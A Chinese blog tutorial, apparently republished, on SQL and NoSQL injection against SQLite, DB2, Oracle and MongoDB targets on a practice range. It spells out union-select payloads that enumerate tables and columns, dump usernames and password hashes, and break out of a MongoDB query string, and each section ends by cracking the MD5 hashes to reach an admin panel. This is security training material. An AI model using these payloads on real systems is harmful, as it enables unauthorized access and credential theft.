微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

web安全sql注入SQLite&Mongodb&Oracle&DB2

sqlite联合注入

sqlite介绍:sqlite是遵守ACID的关联式数据库管理系统,它包含在一个相对小的C库中,它是D.RichardHipp建立的公有领域项目。

靶场:https://www.mozhe.cn/bug/detail/87
sqlite手工注入方法小结:https://www.cnblogs.com/xiaozi/p/5760321.html

通常sqlite文件中会包含一个sqlite_master隐藏表
这里记录着你建表留下的记录,我们可以查看这个表名来看这些数据

打开靶场,and 1=1,and 1=2 判断注入

在这里插入图片描述

然后再通过order by 判断列数,发现有4列

在这里插入图片描述

4列配合联合查询 union select 1,2,3,4

在这里插入图片描述

然后我们看sqlite_master这个隐藏表,通过union select 1,name,sql,4 from sqlite_master 查询到表名和列名信息

在这里插入图片描述

在这里插入图片描述

直接构造sql语句1 union select 1,name,password,4 from WSTMart_reg limit 1 offset 1 密码md5解密进入后台

在这里插入图片描述


DB2联合注入

DB2数据库介绍:DB2是IBM出品的一系列关系型数据库管理系统,可在不同的操作系统平台上服务。
靶场:https://www.mozhe.cn/bug/detail/83
参考:https://blog.csdn.net/Vi_vids/article/details/115254679

首先我们需要知道这个数据库自带的信息
tabschema:数据库名 current schema:数据库名的列名
table_name:表名 tabname:表名的列名
column_name:列名的列名
sysibm.sysdummy1 记录数据库名的信息
syscat.tables:记录表名的信息
sysibm.columns:记录列名的信息

打开靶场还是 and 1=1,and 1=2判断注入,接着order by 判断列数发现有4列

在这里插入图片描述


接着直接联合查询构造sql语句 -1 union select 1,2,3,4 from syscat.tables

在这里插入图片描述


数据库 -1 union select 1,current schema,3,4 from sysibm.sysdummy1

在这里插入图片描述


爆表 -1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1

在这里插入图片描述


爆列 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHaraCTER’ limit 0,1

在这里插入图片描述


NAME:-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHaraCTER’ limit 1,1

在这里插入图片描述


PASSWORD:-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name=‘GAME_CHaraCTER’ limit 2,1

在这里插入图片描述

爆数据 union select 1,name,password,4 from GAME_CHaraCTER limit 0,1

在这里插入图片描述


爆数据 union select 1,name,password,4 from GAME_CHaraCTER limit 1,1

在这里插入图片描述


拿到密码直接MD5解密进入后台

在这里插入图片描述

Oracle联合注入

Oracle数据库简介:Oracle Database,又名Oracle RDBMS,简称Oracle。是甲骨文公司的一款关系数据库管理系统。

靶场:https://www.mozhe.cn/bug/detail/85
Oracle注入总结:https://www.cnblogs.com/peterpan0707007/p/8242119.html
Oracle注入详解:https://blog.csdn.net/qq_35569814/article/details/100517122

all_tables 查询出所有的表
user_tables 查询出当前用户的表
all_tab_columns 查询出所有的字段
user_tab_columns 查询出当前用户的字段

还是通过and 1=1 ,and 1=2 判断注入,然后通过order by 判断有2列

在这里插入图片描述


然后构造sql语句,首先dual表,此表是Oracle数据库中的一个自带表,union select ‘null’,null… from dual 返回正常,说明第一个字段是字符型,反之为数字型,最后sql语句 union select ‘null’,‘null’ from dual

在这里插入图片描述


所以这两个字段位字符型,爆当前数据库中的第一个表 union select (select table_name from user_tables where rownum=1),‘null’ from dual

在这里插入图片描述

一个表名为LOGMNR_SESSION_EVOLVE$,爆出第二个表名 
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$')),'null' from dual
union select (select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$',' ')),'null' from dual

后续这样以此类推

第二次方法 like+通配符匹配 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual

在这里插入图片描述


爆表中的第一个字段:union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’) from dual

在这里插入图片描述


爆表中的第二个字段:union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in ‘USER_NAME’) from dual

在这里插入图片描述


也可以用like+通配符 union select ‘1’,(select column_name from user_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name like ‘%U%’) from dual

在这里插入图片描述


获取指定表名列名数据 union select user_name,user_pwd from “sns_users”

在这里插入图片描述


然后再查询user_name<>‘hu’ sql语句 union select user_name,user_pwd from “sns_users” where user_name<>‘hu’ 或者直接指定用户名 union select user_name,user_pwd from “sns_users” where user_name=‘mozhe’

密码md5解密进入后台

在这里插入图片描述


MongoDB闭合注入

MongoDB数据库简介:MongoDB是一个基于分布式文件存储的数据库,由C++语言编写,旨在为Web应用提供可扩展的高性能数据存储解决方案。

参考:https://www.runoob.com/mongodb/mongodb-insert.html

MongoDB注入跟其他数据库注入不一样,源代码如下

在这里插入图片描述

$query="var data = db.notice.findOne({'id':'$id'}); return data;"

如果传入参数 order by 4

$query="var data = db.notice.findOne({'id':'order by 4'}); return data;"

仔细看内个order by 在单引号里面,在MysqL里面

 select * from news where id =1 

注入的时候

select * from news where id =1 order by 4 

假如语句变换成

 select * from news where id ='1' 

那么注入的时候

select * from news where id =’1 order by 4‘ 

这时候注入代码 order by 4 => 字符串查询条件,作用就丧失了

所以在注入的时候要进行闭合构造sql语句如下

'}); return ({title:1,content:'2

原有语句拼接后

$query="var data = db.notice.findOne({'id':'$id'}); return data;"
$query="var data = db.notice.findOne({'id':'1'}); return data;"
$query="var data = db.notice.findOne({'id':'1'}); return ({title:1,content:'2'}); return data;"

那么’title‘、’content‘ 是根据代码输出变量$obj ,变量$obj是执行完sql语句 $obj=$db->execute($query)返回的结果,’title‘、’content‘ 为列名

最终获取回显数字结果 new_list.PHP?id=1’}); return ({title:1,content:'2

在这里插入图片描述


爆库,db返回的是数组,库名,需要用tojson转换为字符串,原因如下
https://www.anquanke.com/post/id/83763

在这里插入图片描述


最终sql语句 '}); return ({title:tojson(db),content:'2

在这里插入图片描述


数据库:mozhe_cms_Authority 接着获取表名,db.getCollectionNames()//获取表名,构造sql语句 '}); return ({title:tojson(db.getCollectionNames()),content:'2

在这里插入图片描述


爆列、数据,db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据,sql语句 '}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

参考mongodb常用的sql语句总结:https://www.cnblogs.com/zjdxr-up/p/10698505.html

在这里插入图片描述


在这里插入图片描述


通过[0-1]控制数据 '}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

在这里插入图片描述


得到密码md5解密进入后台

在这里插入图片描述


在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐